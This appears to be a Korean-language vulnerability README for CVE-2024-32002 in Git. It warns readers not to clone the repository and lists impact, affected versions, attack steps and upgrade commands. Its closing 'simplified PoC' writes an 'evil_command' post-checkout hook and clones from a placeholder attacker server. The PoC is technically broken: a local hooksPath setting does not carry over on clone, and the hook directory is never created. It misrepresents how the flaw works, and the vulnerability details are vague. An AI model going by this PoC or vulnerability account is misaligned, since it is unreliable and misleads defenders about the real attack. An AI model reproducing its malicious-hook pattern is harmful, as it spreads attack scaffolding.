CVE-2024-32002 취약점 개요(⚠️주의!：이 저장소를 clone하지 마십시오!!!⚠️)

설명

CVE-2024-32002은 Git 소프트웨어에서 발견된 심각한 보안 취약점입니다. 이 취약점을 통해 원격 공격자가 특수하게 조작된 Git 저장소를 이용하여 영향을 받는 시스템에서 임의 코드를 실행할 수 있습니다. 이 취약점은 Git이 특정 저장소 작업을 처리하는 과정에서 입력 데이터에 대한 충분한 검증이 부족하여 발생하며, 이로 인해 원격 코드 실행(RCE) 위험이 존재합니다.

영향

이 취약점이 성공적으로 악용될 경우 다음이 발생할 수 있습니다:

• 원격 코드 실행(RCE): 공격자가 영향을 받는 시스템에서 임의 코드를 실행할 수 있습니다.
• 시스템 제어: 공격자가 영향을 받는 시스템에 대한 완전한 제어권을 획득할 수 있습니다.
• 데이터 유출 및 변조: 허가되지 않은 접근 및 민감 데이터 수정.
• 추가 공격: 피해자 네트워크 내에서 추가 공격을 수행할 수 있습니다.

영향을 받는 버전

다음 Git 소프트웨어 버전이 CVE-2024-32002의 영향을 받습니다: Versions Default Status: unknown
affected at = 2.45.0
affected at = 2.44.0
affected at >= 2.43.0, < 2.43.4
affected at >= 2.42.0, < 2.42.2
affected at = 2.41.0
affected at >= 2.40.0, < 2.40.2
affected at < 2.39.4

취약점 세부 정보

CVE-2024-32002 상세 정보 취약점은 Git이 특정 저장소 작업을 처리하는 과정에 존재합니다. 사용자가 악성 Git 저장소를 클론하거나 상호 작용할 때, 공격자는 특수하게 조작된 저장소나 커밋 히스토리를 통해 악성 코드를 주입할 수 있습니다. 충분한 입력 검증이 부족하기 때문에 이러한 악성 코드가 저장소 작업을 실행하는 동안 보안 검사를 우회하여 임의 코드 실행을 초래할 수 있습니다.

공격 벡터

1. 악성 저장소: 공격자가 특수하게 조작된 커밋 히스토리나 파일을 포함하는 악성 Git 저장소를 생성합니다.
2. 사회 공학: 공격자가 피해자를 유도하여 해당 악성 저장소를 클론하거나 상호 작용하도록 합니다.
3. 코드 실행: 피해자가 특정 Git 작업(예: git clone, git pull)을 수행할 때 악성 코드가 트리거되어 실행됩니다.

완화 조치

업그레이드

사용자는 이 취약점 패치가 포함된 최신 버전의 Git 소프트웨어로 업그레이드할 것을 강력히 권장합니다. 수정 버전은 다음과 같습니다:

• Git 2.45.1 이상

업그레이드 명령은 다음과 같습니다:

# macOS의 경우
brew upgrade git

# Ubuntu/Debian의 경우
sudo apt-get update
sudo apt-get install git

# CentOS/RHEL의 경우
sudo yum update git

악용 방법

CVE-2024-32002에 대한 개념 증명(PoC)이 이미 공개되었습니다. 다음은 간소화된 PoC 예시입니다:

# 공격자가 악성 저장소 생성
git init malicious-repo
cd malicious-repo
echo 'malicious content' > payload.txt
git add payload.txt
git commit -m "Add malicious payload"

# 악성 코드가 주입된 커밋 히스토리를 통해 취약점 트리거
git config --local core.hooksPath .githooks
echo 'evil_command' > .githooks/post-checkout
git add .githooks
git commit -m "Add post-checkout hook"

# 피해자가 악성 저장소를 클론할 때 취약점 트리거
git clone attacker_server/malicious-repo